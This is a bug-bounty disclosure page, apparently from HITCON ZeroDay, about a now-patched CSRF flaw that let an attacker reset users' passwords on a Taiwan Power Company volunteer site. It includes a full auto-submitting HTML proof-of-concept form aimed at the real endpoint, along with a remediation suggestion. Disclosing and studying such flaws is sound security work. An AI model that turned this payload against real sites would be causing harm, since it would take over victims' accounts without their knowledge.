[Bounty] 台灣電力公司 CSRF 重設使用者密碼

Vulnerability Overview

ZDID: ZD-2022-00648
發信 Vendor: 台灣電力公司
Title: [Bounty] 台灣電力公司 CSRF 重設使用者密碼
Introduction: CSRF 重設使用者密碼

處理狀態

目前狀態

公開

Last Update : 2022/11/01

新提交
已審核
已通報
已修補
已複測
公開

處理歷程

2022/08/13 17:18:00 : 新提交 (由 ccoozzyy 更新此狀態)
2022/08/16 01:12:24 : 審核中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2022/10/31 10:53:24 : 複測申請中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2022/10/31 22:01:46 : 確認已修補 (由 ccoozzyy 更新此狀態)
2022/11/01 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2022-00648
通報者：ccoozzyy (ccoozzyy)
風險：中
類型：跨站冒名請求 (Cross-Site Request Forgery, CSRF)

參考資料

攻擊者可經由該漏洞惡意操控使用者帳號進行惡意行為。

漏洞說明： OWASP - Cross-Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

防禦措施： OWASP - Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

登入受測目標 > 個人專區 > 修改密碼
可發現重設密碼時沒有 csrf token 且不需原始密碼即可重設新密碼

錄製重設密碼的 csrf poc

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://volunteer.taipower.com.tw/vms/mysite/vol_see.aspx?mode=pwd" method="POST">
  <input type="hidden" name="&#95;&#95;EVENTTARGET" value="" />
  <input type="hidden" name="&#95;&#95;EVENTARGUMENT" value="" />
  <input type="hidden" name="&#95;&#95;VIEWSTATE" value="NuTxDkfKf&#47;9eAYXFe8K63nNrHBBq4Za3617dOsEb4apfTAn2vyPOOFdcv&#43;tZTA9QEYH8IfSmLSFXbtwndn9dYkHhGm05fU7eWcAAeVOcDjVcOXfU44GNge7McKZ1y5TeGydxQ3TD&#43;GnJ7w9Ec5TFvTKJ2u&#47;1boSBAUSW3PO8i5uX5&#47;Obq3jDLeTJhHjh2UKPlOZCEexJWHXS0ni8CLKYgsFSq9qWN8VRD8wE35e&#47;YpBghoQdnUAngTWUXvZj2E1&#47;NTuxGL75nEUISaJITsc3hj2dKisYOeel0tMhC1QunIVdzRrdDgpSS&#43;Zu5bQaF8kMRtyKOhwD9Q0xzV3o9&#47;EY4Eu&#43;v3lhaEuNyJfflmMjDMlC2zXFKo44Vdxt1vWCo6lrU4oMciDDdzmuN&#43;n3AtKzJyF8V4TUd7ZBDxF4X2L&#47;6&#47;Tq4n&#43;28OTBECYDXHPJo0LqhYfSXrvcmAVIhuzv&#43;KrII9pGoraINXBUJJcv7JyBSTs2ezjd&#47;Z2KcJnwLvi&#47;I5rkXykL7aWD&#47;&#43;kw2f&#47;iubeCdhiqVJcYUgB5b3SA7JtM58WAb69a4pRIeOQviOuNwQKgjZ9IFonuVvkuv6t78eKqcQ8voUMk87Ey5BiktXTFtNiTNIJLn7E6Bzs5wqGn42&#43;GOABCjB71MHcsY1yNs5LsNr87aHygGjoEe4PrAQAdyCW&#43;WZPqp5RwGqmOyXb&#47;EWHtoCvoCPvJ&#43;CTNGE1Qqjesp8MAg3xwn49NJizjshjY3Im7eb0C1EScStfBBHJ&#43;QR3Ur8zgN6Cu05t3J4I6TQl4QIprh&#43;E1InW4yA7hfmJfgsrqbse7Y2nYJOy5PxzoSxmrUnvSMxOkkbgjpQClHyVLAfugclF95Ve4eUjUZrenbPJTvy9wtw9qXg9kQFhrQK&#43;aqHQvH6FBLefrsG4RkZjWA6VWGS2e86f3nDq&#43;a4sIRTWJ2Gqci6OC5fMp77TpQtGm3ftyKVl&#47;DufGIazpRmaYEMZAhljOtURXc2JWfocG7i2ECKpzUJXcVjC3PW2cMVgt2jHqlKnYWN&#47;ULK4fCmP5v9izMEOT5T8db8WSaURvAJxl2zrjR&#43;qmKLpwF2t0paPPh4ZHk3zRflA5qV0snk7&#47;LOf&#43;xUPyS6nN24GuElZCj5x5KbnNq9WlcXY6jvPQKyQyGtoOtYmA0KSdTjXqJ2gUmQrpxP&#47;o1kCNApnco7hWFQINt4y9asF7NBLncOIbtry9MB&#43;tzQe1O04fN4NU6fpH0SoBuiJ8RibKWjfz8lcja1B&#43;CQ8BzOLZ0wB8jz3pbuxl2f5YMDnQ4l6qTIkiIm2CIxU89vkR0&#43;Nkuz3z3j&#43;Bz5Olvn7rw82AxV1J1K&#43;JYS3poOgKE894eCEK1YQnZ4dQZsn&#47;xcFfJmy3Dq0wFLRXuKV75sM3AfU&#43;cqD3omK3xqBfle9OsmqOwWJ2MCbYK0J6AAYhcqSAjapLbEqQUyYgmEAyNDIiXwnmW&#47;qSQQ9Vh&#47;&#43;eUnqAhp7QLi6su424NVW1gDfhgxCWCfR3cAafORoQqS93F0L8GQJmsGq2x5&#47;INLHcNTrDIT3BuTwJBU0cPgRrZWz3dH9feVu3HNBz7b8&#43;Ym1j5xuzWVL9zXmN5sGqsZmaU4nEeg9z2p&#43;KPiwfCEEaHTJYYTamYUNX15O6CxsbYqEEXPFk70yHJ9JyUiHS0rvo6CyR6IYVMtF2iUAt1i37XBWlQgXqrjczB2efEB1oKP6SFnwo7NVrf9NXprWtQf&#43;cbHiOC9bjk80yRQYjZmZKWmv2FND3FdMHF3xdeLc6wx6tO4a1tGlJk&#47;5v8zbJfripb09bhU8XVzZvxexeystoekficrsvmyUsZNia9IDwgUEG1B24enPBdE8uawaFq3aO&#43;DxZQCxWwKVOC3QFeeiPA8zWupUd8lOpgSgFaw124rsTyKtycSzI44Ivs&#47;&#43;Q&#47;B28eK2648o2xq2ybAK&#47;OZ5AbZtnjSLjEOxdJ3wLYKp7iOsjNSiKTmraI106qAPzv&#47;6vPayZ&#43;N7&#43;qA8IuTFMjyGgI7oTaNA6RYJNt&#43;Mth5LA0oiCcqIoJ2KOrrkYkSbUXbyhUmWlVLibN6GnnBoT35q2&#43;iLHq&#43;yI&#47;kF&#47;iUtwPjtJbWQUX8zQuXQdH0Ay4q1oV8hvj5pO6ALqLNSdleQMdmgBzUCsUVLxcMAWxAZD&#47;x9vD7bMDWYNvyQ4ls6HTaToa7z24RP1EfSHkm58dI1Uy2CVhYDBTjX&#43;wZ7zMuB9fpQZnsexWYrjMm0OZH4747kCCeClQj4RMmvlNjNDmPmKRH7rmvi2CmEskszDrog&#47;yY6heuX2bKUENEZo&#43;S5yidhzJtpScSIOIuOWwI5oK&#47;ALkxGLGbc86bOjnoQB6S&#43;eus9ajx2mSfPuqYVfPl5tob0FurTWFDI9nIyBb5mCIPjxZgZs&#47;MOLhAVltdsWoBJZDewvOMdCWp9jG3c2EfwFe1Yo7iV9YAYb&#47;EMpwGDeynIUxx&#47;Gz6Du7zfPLWagMXT3RMNN2I8MoL3NzskGDWnB9DFH01z2&#43;pLYTfaOU9ehT8PCIw7lErQyGRW9Dujnw0zXJNW&#43;XXLNBQamufHMkHsminHovXZdjX&#47;F&#47;u8yTweFaWDYd0y5AjvscYpDGXVXWBXkWIAq7iDafezWa580fJ3sTlDX49oXz1QBHLbRIUjAHI4RKzJlLl76fbzsYCQc93afrIcj8mMb2UqzgyDIuFclAeJbAUrjBmTF5S7xTVFjC6v9w19YVKsQ9SOt27iT&#43;BCnAk91GAaHCSwWT0Q6MaV1dW7fueDBvmsS9GGh1JcyUKUHTU3pGGeA9q3tRnno7oLdiYzJ&#47;ULBplGyeZozlWJDbL9yWEmfkEwTk25cdYRJ&#47;csbQ0bzUM4aCbN5IYJLgeKeBRxbfR0p5cBkrrvXQ&#43;nGqyTTupso3XLDJpEPk2rpCwtsvDUZKtwjzdIkvTpfMOCsJh&#47;EdXNOLXEIG54ZDDYJ7g7&#47;u9cnCeUFtO0U72zuctsA9OvXpyv97qI9LoHoUQ&#43;KvlXc7PHxofSS2hTgM&#43;IJZ619bjCW&#43;RehAPEnzOYLXf5DzjYKkxdlzRE8389EknaaautB&#47;RHECddG8BQyfXaouIigfC2HGGwJVgq0i&#43;r4m6N1OwjF1inHpk&#43;KoNPy&#47;Fwtj5ylCQCdQUmRJNw6e7Cu5eYpCkhUWQWN8h70CJowJSBVSaBSwXUP1PnNkkBxK6I0o5Cze&#43;qqf&#43;HXzp7mKB11F1C6RsstCsKbQDRzqTgR9JSuwpRcmGt&#47;&#47;6Hiwuk9sPGpzcmhNcCLjZUv&#43;KOxqkvxnROESWWPdpg2&#43;jbqQ02e1&#43;9eRggycDWanF8gFJVdejsfRC6HlYLChttj9Zv1swyr06Lp2LiKUCHu&#43;pvEGvYIfket4ERF5FgSP2hd&#47;h7U4Ssb71s7vsVpIuf77uarrey78jWXylAszzEwC124nN&#47;URq&#47;izKoExZXm0mYHoZoOh&#43;OU1&#43;X9WVlpach0vOAXWMbX7akmiQl0pZFKlTa&#43;tqf7a2JC5hhucUIz3Z2KQIe4JDFS1MgdsFv&#47;vIEG" />
  <input type="hidden" name="&#95;&#95;VIEWSTATEGENERATOR" value="601DFF1F" />
  <input type="hidden" name="&#95;&#95;SCROLLPOSITIONX" value="0" />
  <input type="hidden" name="&#95;&#95;SCROLLPOSITIONY" value="0" />
  <input type="hidden" name="&#95;&#95;EVENTVALIDATION" value="nMvQr8n71ASk3I4GM8Js8JtHxqayp8r9L3913Nb2rLALSa&#43;4SW0pNaPLz3xweDCrxtRAjdyBHv&#47;KCI&#43;egBZGTd22y0frvKzji5jLit0brDeTSfbWVB9FxVGtizGZXGbKB&#43;akvdxdbrJ7BkcrYLTj&#43;B4lOc6vwdDuz&#43;dYekNTZTKBGs2i" />
  <input type="hidden" name="ctl00&#36;ContentPlaceHolder2&#36;txtPassword" value="csrfpassword" />
  <input type="hidden" name="ctl00&#36;ContentPlaceHolder2&#36;txtConfirm" value="csrfpassword" />
  <input type="hidden" name="ctl00&#36;ContentPlaceHolder2&#36;Button1" value="" />
  <input type="submit" value="Submit request" />
</form>
<script>
  document.forms[0].submit();
</script>
</body>
</html>

重新登入，確保先前 session 已失效
受害者重新登入後，點選惡意連結，受害者便在不知情的情況下，修改了自己的密碼。
成功修改密碼

修補建議

修改密碼時需要輸入原始密碼來做確認

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

[Bounty] 台灣電力公司 CSRF 重設使用者密碼 - HITCON ZeroDay

Vulnerability Detail Report